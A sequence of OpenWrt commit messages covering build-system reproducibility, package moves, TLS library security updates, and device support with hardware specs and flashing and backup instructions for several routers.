The `get_source_date_epoch.sh` script tries multiple ways (file, git,
hg) to determine the correct timestamp.
Until now the script would only consider the $TOPDIR instead of package
specific changes. Resulting in packages with same versions but different
timestamps, as $TOPDIR (openwrt.git) received changes not affecting
package versions. This results in warning/erros in `opkg` as the package
versions stay the same but checksums changed.
This commit adds an optional argument to get the `SOURCE_DATE_EPOCH` of
a specific path (e.g. package SOURCE) rather than the $TOPDIR. As a
consequence this allows granular but still reproducible timestamps.
As packages might be distributed over multiple repositories the check
for `.git/` becomes unfeasible. Instead tell `git` and `hg` to change
their working directories and automatically traverse the repo folder.
Signed-off-by: Paul Spooren <mail@aparcar.org>
If a `cd` to `TOPDIR` fails the script should quit.
Also unify `try_mtime` function by storing it in a variable.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Instead of using INSTALL_SUID use the more flexible PKG_FILE_MODES
variable withn the Makefile to set the SUID bit.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The `ipkg-build` script converts a folder into a `opkg` installable
package. Until now it would use root:root for all packages and try to
preserve file modes.
This has the two drawbacks of packages want to add non-root files or add
SUID files, like the `sudo` package does.
To give more flexibility regarding file modes and avoid init script
hacks, a new variable called `PKG_FILE_MODES`. The variable contains a
list of files modes in the format `path:owner:group:mode`.
An example for the `sudo` package below:
```
PKG_FILE_MODES:=\
/usr/bin/sudo:root:root:4755 \
/etc/sudoers:root:root:0440
```
The `ipkg-build` now runs within a fakeroot environment to set any mode
and directly store it in the resulting `ipk` package archive.
Both options `-o` and `-g` are no longer required due to the introduction
of the more flexible `-m` options, which takes the `PKG_FILE_MODES` as
input.
Lastly the option `-c` is removed as it's unused within the script.
Signed-off-by: Paul Spooren <mail@aparcar.org>
4318ab1 opkg: allow to configure the path to the signature verification script
cf44c2f libopkg: fix compiler warning
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Two versions of `px5g` exists without sharing code. For clarification
rename the previously existing MbedTLS based version to `px5g-mbedtls`
to exists next to `px5g-wolfssl`.
Rename code file of MbedTLS from `px5g.c` to `px5g-mbedtls.c`.
Signed-off-by: Paul Spooren <mail@aparcar.org>
This package creates certificates and private keys, just like `px5g`
does. Hower it uses WolfSSL rather than MbedTLS.
Signed-off-by: Paul Spooren <mail@aparcar.org>
As the package curl has been moved to packages.git and only libcurl
depends on libnghttps move it as well to packages.git.
This is based on the Hamburg 2019 decision that non essential packages
should move outside base.
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>
[update to 2.20200229, adjust Makefile, and move to openwrt.git]
Signed-off-by: W. Michael Petullo <mike@flyn.org>
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>
[update to 3.1, make use of Python 3, and move to openwrt.git]
Signed-off-by: W. Michael Petullo <mike@flyn.org>
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>
[update to 3.1, make use of Python 3, use ALTERNATIVES, and move to openwrt.git]
Signed-off-by: W. Michael Petullo <mike@flyn.org>
This adds a number of options to config/Config-kernel.in so that
packages related to SELinux support can enable the appropriate Linux
kernel support.
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>
[rebase; add ext4, F2FS, UBIFS, and JFFS2 support; add commit message]
Signed-off-by: W. Michael Petullo <mike@flyn.org>
SELinux uses extended attributes to store SELinux security contexts.
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>
[rebase, add commit message]
Signed-off-by: W. Michael Petullo <mike@flyn.org>
This allows the build process to prepare a squashfs filesystem for use
with SELinux.
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>
[rebase, add commit message]
Signed-off-by: W. Michael Petullo <mike@flyn.org>
lzma-old host package is required for building ath79 images, as
mksquashfs-lzma is required for generating netgear images.
Fixes commit 4e4ee46495 ("ar71xx: drop target")
Signed-off-by: David Bauer <mail@david-bauer.net>
The kernel has become too big again for the ar9344-based TP-Link
CPE/WBS devices which still have no firmware-partition splitter.
Current buildbots produce a kernel size of about 2469 kiB, while
the partition is only 2048 kiB (0x200000). Therefore, increase it
to 0x300000 to provide enough room for this and, hopefully, the
next kernel.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This target has been mostly replaced by ath79 and won't be included
in the upcoming release anymore. Finally put it to rest.
This also removes all references in packages, tools, etc. as well as
the uboot-ar71xx and vsc73x5-ucode packages.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In a multi-wan setup, netifd may need guidance on which wan device to
use to create the route to the remote peer.
This commit adds a 'tunlink' option similar to other tunneling interfaces
such as 6in4, 6rd, gre, etc.
Signed-off-by: Aaron Goodman <aaronjg@stanford.edu>
This patch fixes various typos or tab-vs-space issues in
the APM821XX device targets Device-Tree source files.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch silences the following warnings:
>netgear-wndr4700.dts:168.3-13:Warning (reg_format): /plb/sata@bffd1800/sata-port@0:reg:property has invalid length (4 bytes) (#address-cells == 2, #size-cells == 1)
>netgear-wndr4700.dts:167.26-170.4: Warning (avoid_default_addr_size):/plb/sata@bffd1800/sata-port@0: Relying on default #address-cells value
>netgear-wndr4700.dts:167.26-170.4: Warning (avoid_default_addr_size):/plb/sata@bffd1800/sata-port@0: Relying on default #size-cells value
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch adds the pcie-switch and bridge configuration of the
WNDR4700.
This allows to get rid of the legacy firmware monikers and drop
the usbport LED declaration.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Changing the factory image of KD20 was used during testing and wasn't
intended to be included in the commit fixing a SATA bug on oxnas.
Revert that part of the commit.
Fixes: 5793112f75 ("oxnas: reduce size of ATA DMA descriptor space")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Compile the Linkstation poweroff module for the Buffalo LS421DE.
Without this driver the device remains forever halted if a power off
command is executed.
The driver will also allow to use the WoL feature, which wasn't availabe
in the stock firmware.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
Backport the Linkstation poweroff driver from the kernel upstream (commit
a7f79f99541ef)
This driver is required by the Buffalo LinkStation LS421DE for a correct
power off operation. It also allows to use the WoL feature.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
The DIR-645 fails to boot if the kernel is large.
Enabling lzma-loader resolves the issue.
Run-tested on D-Link DIR-645.
Signed-off-by: Perry Melange <isprotejesvalkata@gmail.com>
This patch adds support for Wavlink WL-WN531A6 (Quantum D6).
Specifications:
--------------
* SoC: Mediatek MT7621AT 2C2T, 880MHz
* RAM: 128MB DDR3, Nanya NT5CB64M16GP-EK
* Flash: 16MB SPI NOR flash, GigaDevice GD25Q127CSIG
* WiFi 5GHz: Mediatek MT7615N (4x4:4) on mini PCIE slot.
* WiFi 2.4GHz: Mediatek MT7603EN (2x2:2) on mini PCIE slot.
* Ethernet: MT7630, 5x 1000Base-T
* LED: Power, WAN, LAN(x4), WiFi, WPS, dual color
"WAVLINK" LED logo on the top cover.
* Buttons: Reset, WPS, "Turbo", touch button on the top
cover via RH6015C touch sensor.
* UART: UART1: serial console (57600 8n1) on the J4 header
located below the top heatsink.
UART2: J12 header, located on the right side of
the board.
* USB: One USB3 port.
* I2C: J9 header, located below the top heatsink.
Backup the OEM Firmware:
-----------------------
There isn't any firmware released for the WL-WN531A6 on
the Wavlink web site. Reverting back to the OEM firmware is
not possible unless we have a backup of the original OEM
firmware.
The OEM firmware is stored on /dev/mtd4 ("Kernel").
1) Plug a FAT32 formatted USB flash drive into the USB port.
2) Navigate to "Setup->USB Storage". Under the "Available
Network folder" you can see part of the mount point of
the newly mounted flash drive filesystem - e.g "sda1".
The full mount point is prefixed with "/media", so in
this case the mount point becomes "/media/sda1".
3) Go to http://192.168.10.1/webcmd.shtml .
4) Type the following line in the "Command" input box:
dd if=/dev/mtd4ro of=/media/sda1/firmware.bin
5) Click "Apply"
6) After few seconds, in the text area should appear this
output:
30080+0 records in
30080+0 records out
7) Type "sync" in the "Command" input box and click "Apply".
8) At this point the OEM firmware is stored on the flash
drive as "firmware.bin". The size of the file is 15040 KB.
Installation:
------------
* Flashing instructions (OEM web interface):
The OEM web interface accepts only files with names containing
"WN531A6". It's also impossible to flash the *-sysupgrade.bin
image, so we have to flash the *-initramfs-kernel.bin first and
use the OpenWrt's upgrade interface to write the sysupgrade
image.
1) Rename openwrt-ramips-mt7621-wavlink_wl-wn531a6-initramfs-kernel.bin
to WN531A6.bin.
2) Connect your computer to the one of the LAN ports of the
router with an Ethernet cable and open http://192.168.10.1
3) Browse to Setup -> Firmware Upgrade interface.
4) Upload the (renamed) OpenWrt image - WN531A6.bin.
5) Proceed with the firmware installation and give the device
a few minutes to finish and reboot.
6) After reboot wait for the "WAVLINK" logo on the top cover
to turn solid blue, and open http://192.168.1.1
7) Use the OpenWrt's "Flash Firmware" interface to write the
OpenWrt sysupgrade image:
openwrt-ramips-mt7621-wavlink_wl-wn531a6-squashfs-sysupgrade.bin
* Flashing instructions (u-boot TFTP):
1) Configure a TFTP server on your computer and set its IP
to 192.168.10.100
2) Rename the OpenWrt sysupgrade image to firmware.bin and
place it in the root folder of the TFTP server.
3) Power off the device and connect an Ethernet cable from
one of its LAN ports your computer.
4) Press the "Reset" button (and keep it pressed)
5) Power on the device.
6) After a few seconds, when the connected port LAN LED stops
blinking fast, release the "Reset" button.
7) Flashing OpenWrt takes less than a minute, system will
reboot automatically.
8) After reboot the WAVLINK logo on the top cover will indicate
the current OpenWrt running status (wait until the logo tunrs
solid blue).
Revert to the OEM Firmware:
--------------------------
* U-boot TFTP:
Follow "Flashing instructions (u-boot TFTP)" and use the
"firmware.bin" backup image.
* OpenWrt "Flash Firmware" interface:
Upload the "firmware.bin" backup image and select "Force update"
before continuing.
Notes:
-----
* The MAC address shown on the label at the back of the device
is assigned to the 2.4G WiFi adapter.
MAC addresses assigned by the OEM firmware:
2.4G: *:XX (label): factory@0x0004
5G: *:XX + 1 : factory@0x8004
WAN: *:XX - 1 : factory@0xe006
LAN: *:XX - 2 : factory@0xe000
* The I2C bus and UART2 are fully functional. The headers are
not populated.
Signed-off-by: Georgi Vlaev <georgi.vlaev@konsulko.com>
curl is replaced by uclient-fetch within the OpenWrt build system and we
can therefore move curl to packages.git. This is based on the Hamburg
2019 decision that non essential packages should move outside base.
Signed-off-by: Paul Spooren <mail@aparcar.org>
This patch adds support for the TP-Link TL-WR850N v2. This device
is very similar to TP-Link TL-WR840 v4 and TP-Link TL-WR841 v13.
Specifications:
SOC: MediaTek MT7628NN
Flash: 8 MiB SPI
RAM: 64 MiB
WLAN: MediaTek MT7628NN
Ethernet: 5 ports (100M)
Installation Using the integrated tftp capability of the router:
1. Turn off the router.
2. Connect pc to one of the router LAN ports.
3. Set your PC IPv4 address to 192.168.0.66/24.
4. Run any TFTP server on the PC.
5. Put the recovery firmware on the root directory of TFTP server
and name the file tp_recovery.bin
6. Start the router by pressing power button while holding the
WPS/Reset button (or both WPS/Reset and WIFI buttons)
7. Router connects to your PC with IPv4 address 192.168.0.2,
downloads the firmware, installs it and reboots. LEDs are
flashing. Now you have OpenWrt installed.
8. Change your IPv4 PC address to something in 192.168.1.0/24
network or use DHCP to get an address from your OpenWrt router.
9. Done! You can login to your router via ssh.
Forum link:
https://forum.openwrt.org/t/add-support-for-tp-link-tl-wr850n-v2/66899
Signed-off-by: Andrew Freeman <labz56@gmail.com>
[squash an tidy up commits, sort nodes]
Signed-off-by: Darsh Patel <darshkpatel@gmail.com>
[minor commit message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The at91 target sets
FEATURES:=usb usbgadget ...
in the target Makefile, which sets CONFIG_USB_SUPPORT=y in the
.config file for both subtargets.
However, when building with all kmods, the build fails with the
following error message:
ERROR: module [...]/drivers/bluetooth/btusb.ko is missing.
It appears that only a part of the bluetooth files are compiled.
The package depends @USB_SUPPORT.
This can be easily healed by adding CONFIG_USB_SUPPORT=y to the
sam9x subtarget configuration. Before the 4.14->5.4 bump, the
same was also set in the target's config-4.14 file along with
several other USB config options that are not reimplemented.
Still, it remains a mystery to me why setting the same symbol
via target kernel config creates a different result than the
feature setting the same symbol in target-metadata.pl.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This fixes the following compile errors after the wolfssl 4.5.0 update:
LD wpa_cli
../src/crypto/tls_wolfssl.c: In function 'tls_match_alt_subject':
../src/crypto/tls_wolfssl.c:610:11: error: 'GEN_EMAIL' undeclared (first use in this function); did you mean 'ENAVAIL'?
type = GEN_EMAIL;
^~~~~~~~~
ENAVAIL
../src/crypto/tls_wolfssl.c:610:11: note: each undeclared identifier is reported only once for each function it appears in
../src/crypto/tls_wolfssl.c:613:11: error: 'GEN_DNS' undeclared (first use in this function)
type = GEN_DNS;
^~~~~~~
../src/crypto/tls_wolfssl.c:616:11: error: 'GEN_URI' undeclared (first use in this function)
type = GEN_URI;
^~~~~~~
../src/crypto/tls_wolfssl.c: In function 'wolfssl_tls_cert_event':
../src/crypto/tls_wolfssl.c:902:20: error: 'GEN_EMAIL' undeclared (first use in this function); did you mean 'ENAVAIL'?
if (gen->type != GEN_EMAIL &&
^~~~~~~~~
ENAVAIL
../src/crypto/tls_wolfssl.c:903:20: error: 'GEN_DNS' undeclared (first use in this function)
gen->type != GEN_DNS &&
^~~~~~~
../src/crypto/tls_wolfssl.c:904:20: error: 'GEN_URI' undeclared (first use in this function)
gen->type != GEN_URI)
^~~~~~~
Makefile:2029: recipe for target '../src/crypto/tls_wolfssl.o' failed
Fixes: 00722a720c ("wolfssl: Update to version 4.5.0")
Reported-by: Andre Heider <a.heider@gmail.com>
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
While commit 734a8c46e7 focussed on removing stuff directly
selected by the NET_RALINK_* symbols, this patch removes additional
unused mt7621-specific code from the ethernet driver.
As with the previous patch, the main reason is to reduce the amount
of code we have to maintain and care about.
Note that this patch still keeps a few lines with
IS_ENABLED(CONFIG_SOC_MT7621) in mtk_eth_soc.h/.c, as this file is
still selected for the mt7621 subtarget.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The release notes says this:
As already said, the changes since 2.1.1 are primarily bug fixes, addressing
compiler warnings and issues reported by diagnostic tools, but also build
failures for some configurations.
https://lists.infradead.org/pipermail/linux-mtd/2020-July/081299.html
The size of the ubi-utils ipk increases on mips BE by 0.2%
old:
ubi-utils_2.1.1-1_mips_24kc.ipk: 70992
new:
ubi-utils_2.1.2-1_mips_24kc.ipk: 71109
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This fixes the following security problems:
* In earlier versions of wolfSSL there exists a potential man in the
middle attack on TLS 1.3 clients.
* Denial of service attack on TLS 1.3 servers from repetitively sending
ChangeCipherSpecs messages. (CVE-2020-12457)
* Potential cache timing attacks on public key operations in builds that
are not using SP (single precision). (CVE-2020-15309)
* When using SGX with EC scalar multiplication the possibility of side-
channel attacks are present.
* Leak of private key in the case that PEM format private keys are
bundled in with PEM certificates into a single file.
* During the handshake, clear application_data messages in epoch 0 are
processed and returned to the application.
Full changelog:
https://www.wolfssl.com/docs/wolfssl-changelog/
Fix a build error on big endian systems by backporting a pull request:
https://github.com/wolfSSL/wolfssl/pull/3255
The size of the ipk increases on mips BE by 1.4%
old:
libwolfssl24_4.4.0-stable-2_mips_24kc.ipk: 386246
new:
libwolfssl24_4.5.0-stable-1_mips_24kc.ipk: 391528
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Instead of using mbedtls by default use wolfssl. We now integrate
wolfssl in the default build so use it also as default ssl library for
curl.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Backport a commit from upstream curl to fix a problem in configure with
wolfssl.
checking size of time_t... configure: error: cannot determine a size for time_t
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
On Comfast CF-E130N v2 and Mikrotik LHG HB board, the config
found in DTS appears to be strange:
- eth0 has "syscon","simple-mfd" set although it's not enabled
- eth1 is enabled redundantly (already "okay" in qca953x.dtsi)
- phy-handle is set for eth1 in DTS although it has a fixed-link
in qca953x.dtsi
This seems like a copy-paste gone wrong. Remove the named options.
Run-tested on MikroTik LHG 2.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This introduces the vendor_model scheme to this target in order to
harmonize device names within the target and with the rest of
OpenWrt. In addition, custom board names are dropped in favor
of the generic script which takes the compatible.
Use the SUPPORTED_DEVICES variable to store the compatible where it
deviates from the device name, so we can use it in build recipes.
While at it, harmonize a few indents as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Changing dtb file path since the dtb files are build in KDIR folder
with image- prefix.
Signed-off-by: Sandeep Sheriker M <sandeep.sheriker@microchip.com>
[remove commented lines]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
LS1012FRDM is supported but there's no flashing instruction in README.
This patch adds it.
While at it, add a missing saveenv for MAC address setup.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[add comment about saveenv]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Mbed TLS 2.16.7 is a maintenance release of the Mbed TLS 2.16 branch,
and provides bug fixes and minor enhancements. This release includes
fixes for security issues and the most severe one is described in more
detail in a security advisory:
https://tls.mbed.org/tech-updates/security-advisories/mbedtls-security-advisory-2020-07
* Fix a side channel vulnerability in modular exponentiation that could
reveal an RSA private key used in a secure enclave.
* Fix side channel in mbedtls_ecp_check_pub_priv() and
mbedtls_pk_parse_key() / mbedtls_pk_parse_keyfile() (when loading a private
key that didn't include the uncompressed public key), as well as
mbedtls_ecp_mul() / mbedtls_ecp_mul_restartable() when called with a NULL
f_rng argument. An attacker with access to precise enough timing and
memory access information (typically an untrusted operating system
attacking a secure enclave) could fully recover the ECC private key.
* Fix issue in Lucky 13 counter-measure that could make it ineffective when
hardware accelerators were used (using one of the MBEDTLS_SHAxxx_ALT
macros).
Due to Mbed TLS moving from ARMmbed to the Trusted Firmware project, some
changes to the download URLs are required. For the time being, the
ARMmbed/mbedtls Github repository is the canonical source for Mbed TLS.
Signed-off-by: Magnus Kroken <mkroken@gmail.com>
[Use https://codeload.github.com and new tar.gz file]
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
93e2334 exfat: fix build error on linux-5.4,5.5 kernel
01a7b8c exfat: fix name_hash computation on big endian systems
8f92bc0 exfat: fix wrong size update of stream entry by typo
Removed commented material that was for testing compilation.
Removed patch as the error was fixed upstream. First entry above.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
The driver currently only support managed and monitor mode
Changes since v1:
- drop the @DRIVER_11N_SUPPORT dependency
Signed-off-by: mohammad rasim <mohammad.rasim96@gmail.com>
These upstream patches makes the RTL8366RB DSA switch work
properly with OpenWrt, the D-Link DIR-685 gets network and
can be used as a router, and the same should be applicable
for any other device that want to enable the RTL8366RB
through Device Tree.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
SUSV3_LEGACY_MACROS are completely unused since SUSV3_LEGACY is enabled
HAS_OBSOLETE_BSD_SIGNAL is completely deprecated functionality.
HAS_BSD_RES_CLOSE is completely deprecated functionality.
HAS_FTW is deprecated SUSV4 functionality. Saves ~4.5kb.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
CMake provides a user package registry (stored in ~/.cmake/packages) and
a system package registry (not available on non-Windows platforms).
The "export(PACKAGE)" command may store information in the user package
registry, and the "find_package()" command may search both user and
system package registries for information.
This sets various variables to disable the use of these package
registries (both saving and retrieval of package information).
This also sets deprecated variables that perform similar functions, in
case external toolchains include older versions of CMake.
Signed-off-by: Jeffery To <jeffery.to@gmail.com>
For example, Turris MOX SDIO card is using Marvell (NXP) 88W8997 chip.
Technical specs of 88W8997:
- 28nm
- 802.11 ac wave-2
It should support simultaneous dual-band 2.4 GHz and 5 GHz,
but it requires to support multiSSID for one Wi-Fi card [1], which is
not supported in OpenWrt, yet and if we tried to run two instances of
hostapd, it didn't work well, so it's 2.4 GHz or 5 GHz.
- 2x2 MU-MIMO
- Bluetooth 5.1 with LE support
- Unfortunately, there can be connected only 8 clients at the same time
(limited by FW, however, there exists "enterprise" chip, its equal chip,
it is just different that it uses different FW)
Symlink is necessary as mwifiex_sdio tries to load sd8997_uapsta.bin
[ 13.651182] mwifiex_sdio mmc0:0001:1: Direct firmware load for mrvl/sd8997_uapsta.bin failed with error -2
[ 13.661065] mwifiex_sdio mmc0:0001:1: Falling back to user helper
[ 13.684880] firmware mrvl!sd8997_uapsta.bin: firmware_loading_store: map pages failed
[ 13.695910] mwifiex_sdio mmc0:0001:1: Failed to get firmware mrvl/sd8997_uapsta.bin
[ 13.703774] mwifiex_sdio mmc0:0001:1: info: _mwifiex_fw_dpc: unregister device
Pali Rohár sent two patches [2] [3] into kernel to fix default firmware name for SD8997, so
the symlink will not be required in the future versions of kernel, which
was accepted and right now, according to my details it was backported to 5.8, 5.7 and 5.4
[1] https://bugs.openwrt.org/index.php?do=details&task_id=3243
[2] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=00eb0cb36fad5
[3] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=2e1fcac52a9ea
Signed-off-by: Josef Schlehofer <pepe.schlehofer@gmail.com>
This reverts commit c737a9ee6a.
The source CDN has been discontinued in its current form and will take a
while to be reestablished. Even then it makes little sense to put a CDN
before other CDNs such as kernel.org, apache.org, sourceforge etc.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
For many target we have added CONFIG_WATCHDOG_CORE=y to the target
config due to the following error:
Package kmod-hwmon-sch5627 is missing dependencies for the following
libraries:
watchdog.ko
However, actually the proper way appears to be setting the
dependency for the kmod-hwmon-sch5627 package, as the error message
demands.
Do this in this patch and remove the target config entries added
due to this issue.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Changes:
- Update patches
- Update dts with new binding
Tx term offset dropped and replaced with a new compatible
Removed:
- 0071-5-PCI-qcom-Programming-the-PCIE-iATU-for-IPQ806x
Pci init does the same exact thing (was needed in older kernel version)
- 0071-7-pcie-Set-PCIE-MRRS-and-MPS-to-256B
Rejected upstream, can't find any reason to have this. No regression with
testing it on R7800.
Tested on R7800 (ipq8065), R7500 v2 ("ipq8064-v2")
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Tested-by: Paul Blazejowski <paulb@blazebox.homeip.net> [R7800]
[rebase and refresh]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The symbol KERNEL_CGROUP_HUGETLB is always used whenever KERNEL_CGROUPS is enabled.
The absence of this notation will cause the user to be asked to enter this parameter the first time it is compiled.
Signed-off-by: Yuan Tao <ty@wevs.org>
This commit adds a `selinux` variant which comes with with a number of
SELinux applets and also SELinux label support.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The wg3526 fails to boot if the kernel is large.
Enabling lzma-loader resolves the issue on both the wg3526-16m
and wg3526-32m.
Fixes: FS#3143
Signed-off-by: Rustam Gaptulin <rascal6@gmail.com>
[commit message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Both IB and SDK now use the same logic for packing.
This commit add reproducible multithread compression to the SDK and
corrects the file mtime for both. Previously all files where just copied
over from the build system, generating random mtimes.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Fixes package libcurl build issue :
Package libcurl is missing dependencies for the following libraries:
libzstd.so.1
Suggested-by: Syrone Wong <wong.syrone@gmail.com>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
8027c7d95274 mt76: mt7615: fix reading airtime statistics
3743e7c904de mt76: mt7915: optimize mt7915_mac_sta_poll
d2fe5e8330c6 mt76: mt7915: fix variable initialization in sta poll
692065b4c9db mt76: mt7915: only enable hw amsdu for AP and station
b54157df7c27 mt7615: update firmware to version 20200814
888990e159d2 mt76: use threaded NAPI
3a3306e408f2 mt76: mt7915: add 802.11 encap offload support
795b772cd392 mt76: mt7915: add encap offload for 4-address mode stations
55d79ab7fa23 mt76: dma: update q->queued immediately on cleanup
23dbd64d6324 mt76: mt7915: schedule tx tasklet in mt7915_mac_tx_free
5cf34cda70af mt76: mt7915: significantly reduce interrupt load
87a69429069f mt76: add utility functions for deferring work to a kernel thread
2f1318a06d0a mt76: convert from tx tasklet to tx worker thread
72f0979566be mt76: mt7915: add support for accessing mapped registers via bus ops
f9ce5c776c9a mt76: use ieee80211_rx_list to pass frames to the network stack as a batch
25dd8bdae3bf mt76: mt7615: significantly reduce interrupt load
7c5445dec812 mt76: mt7615: release mutex in mt7615_reset_test_set
e68c3e254822 mt76: mt7663s: use NULL instead of 0 in sdio code
4368380e20e7 mt76: mt7663s: fix resume failure
bea386f27914 mt76: mt7663s: fix unable to handle kernel paging request
b8780c44c716 mt76: mt7615: fix possible memory leak in mt7615_tm_set_tx_power
37a1c7ed6796 mt76: mt7615: fix a possible NULL pointer dereference in mt7615_pm_wake_work
8c7c1a207d25 mt76: fix a possible NULL pointer dereference in mt76_testmode_dump
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The TL-WPA8630 v1 and v2 have the same LED Control GPIO configuration
according to the TP-Link GPL sources. Set the GPIO to output to make
it work and set to Active Low. It defaults to LEDs on at bootup.
To turn all LEDs off:
echo 0 > /sys/class/gpio/tp-link\:led\:control/value
To turn all LEDs on:
echo 1 > /sys/class/gpio/tp-link\:led\:control/value
Change the "LED" button from BTN_0 to KEY_LIGHTS_TOGGLE to match other
devices and the button guide, and to reduce the number of unintuitive
"BTN_X" inputs.
Fixes: ab74def0db ("ath79: add support for TP-Link TL-WPA8630P v2")
Signed-off-by: Joe Mullally <jwmullally@gmail.com>
[shorten commit title, minor commit message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The mt7621 subtarget has been switched to DSA quite a while ago and
seems to run sufficiently fine. Build with older kernels than 5.4 has
been disabled directly during the kernel bump, so our local ethernet
driver is unused in master since then.
Therefore, let's remove the mt7621-specific parts of "our" ethernet
driver, so we don't have to maintain them and it's obvious to
everybody that they are not used anymore.
This also drops the offloading components as this was specifically
implemented to depend on mt7621.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Remove local diag.sh in favor of generic one and add the required
led-* aliases to DTS.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This uses the vendor_model scheme for the device/image name in
order to make this consistent to most other targets.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This refreshes the patches, removes patches already applied upstream and
removes the SPI NAND framework to use the upstream version.
In addition it also refreshes the kernel configuration.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This adds support for the TP-Link TL-WR710N v2.1. It is basically a
re-issue of the v1.2.
Specifications:
SoC: Atheros AR9331
CPU: 400 MHz
Flash: 8 MiB
RAM: 32 MiB
WiFi: 2.4 GHz b/g/n
Ethernet: 2x 100M ports
USB: 1x 2.0
The only difference from the v1 is the TP-Link hardware ID/revision.
Attention:
The TL-WR710N v2.0 (!) has only 4 MB flash and cannot be flashed with
this image. It has a different TPLINK_HWREV, so accidental flashing
of the factory image should be impossible without additional measures.
Unfortunately, the v2.0 in ar71xx has the same board name, so sysupgrade
from ar71xx v2.0 into ath79 v1/v2.1 will not be prevented, but will brick
the device.
Flashing instruction:
Upload the factory image via the OEM firmware GUI upgrade mechanism.
Further notes:
To make implementation easier if somebody desires to port the 4M v2.0,
this already creates two DTSI files.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Fabian Eppig <fabian@eppig.de>
As described in commit commit 891a700759 ("lantiq: enable second VPE
on Fritz!Box 7412"):
The AVM Fritz!Box 7412 does not use the VMMC part of the Lantiq chip but
rather a proprietary solution based on the DECT chip for the FXS ports.
We can remove last traces of vmmc in dts.
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
Abort the dhcp-check based on the interface instead of the carrier
state. In cases where the interface is up but the carrier is down,
netifd won't cause a dnsmasq reload, thus dhcp won't become active
on this interface.
Signed-off-by: David Bauer <mail@david-bauer.net>
The layerscape kernel patches appears to be just some uncleaned local
development tree, where patches are sometimes directly followed by
their revert. While this does not seem a problem in the first place,
it becomes incredibly unpleasant when the upstream kernel changes in
the relevant areas and requires rebase.
This removes all these patch-revert pairs and refreshs the rest.
It removes about 44000 lines of entirely useless code.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In order to support SAE/WPA3-Personal in default images. Replace almost
all occurencies of wpad-basic and wpad-mini with wpad-basic-wolfssl for
consistency. Keep out ar71xx from the list as it won't be in the next
release and would only make backports harder.
Build-tested (build-bot settings):
ath79: generic, ramips: mt7620/mt76x8/rt305x, lantiq: xrx200/xway,
sunxi: a53
Signed-off-by: Petr Štetiar <ynezz@true.cz>
[rebase, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Patch 1 introduces a change, and patch 2 reverts it again. Remove
both patches and achieve the same outcome.
Refreshed patches for the target as well.
Cc: Álvaro Fernández Rojas <noltari@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Álvaro Fernández Rojas <noltari@gmail.com>
"type" is already used as a common option for all protocols types, so
using the same option name for the map type makes the configuration
ambiguous. Luci in particular adds controls for both options and sees
errors when reading the resulting configuration.
Use "maptype" instead, but still fallback to "type" if "maptype" is not
set. This allows configurations to migrate without breaking old
configurations.
This addresses FS#3287.
Signed-off-by: Remi NGUYEN VAN <remi.nguyenvan+openwrt@gmail.com>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com> [PKG_RELEASE increase]
